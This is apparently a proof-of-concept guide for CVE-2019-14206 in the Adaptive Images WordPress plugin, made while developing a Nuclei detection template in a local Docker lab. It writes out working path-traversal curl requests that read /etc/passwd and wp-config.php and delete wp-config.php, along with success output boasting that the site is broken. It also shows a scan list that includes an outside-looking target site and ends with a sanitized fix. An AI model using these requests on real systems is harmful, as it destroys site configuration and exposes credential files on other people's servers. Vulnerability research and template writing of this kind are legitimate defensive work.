// The plugin uses user input WITHOUT sanitization
$settings = $_REQUEST['adaptive-images-settings'];

// Builds file path with attacker-controlled parameters
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// DELETES arbitrary file
unlink($cache_file);

# Check Nuclei
nuclei --version

# Check Bash
bash --version

# Check curl
curl --version

# Check PHP (optional)
php --version 2>/dev/null || echo "PHP not available (optional)"

# If in the nuclei-templates directory
cd /Volumes/Codingsh/experimentos/nuclei-templates

# Or download the necessary files
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

# Check if the files exist
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# If Docker is running
docker-compose up -d

# If Docker is NOT running, use the simulator
./docker-test-full.sh

# The environment will be available at
# http://localhost:8888

# Check if the vulnerable script exists
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

# LFI Test
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# File Deletion Test
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Check if wp-config.php has been deleted
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

# Create target file
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

# Basic scan
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Detailed scan
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Debug scan (MANDATORY for bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Save results
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

# View results
cat results.txt

# Positive results will show:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

# Try to read /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Try to read wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

# Check if wp-config.php exists BEFORE
ls -la wp-config.php

# Run exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Check if wp-config.php has been deleted AFTER
ls -la wp-config.php

[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

[N/A] No results found

# Remove Docker environment
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# Remove test files
rm -rf docker-test/
rm -f targets.txt results.txt

# Restore wp-config.php if it was deleted
cat > wp-config.php << 'EOF'
<?php
// Restored file
define('DB_NAME', 'wordpress');
EOF

# Remove scan results
rm -f results.txt

# Clear cache (optional)
nuclei -rm-cache

# Install Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Or download binary
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

# Check if file exists
ls -la http/cves/2019/CVE-2019-14206.yaml

# Check YAML syntax
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# Use absolute path
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

# Check port
lsof -i :8888

# Use a different port
php -S localhost:9999

# Check PHP installed
which php
php --version

# Check Docker status
docker ps

# Start Docker
# On macOS: Open Docker Desktop
# On Linux: sudo systemctl start docker

# Use simulator mode (works without Docker)
./docker-test-full.sh

// ✅ SECURE CODE (Example fix)
function adaptive_images_script_get_settings() {
    // Sanitize input
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // Validate paths
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // Reject invalid paths
    }
    
    // Use validated absolute paths
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}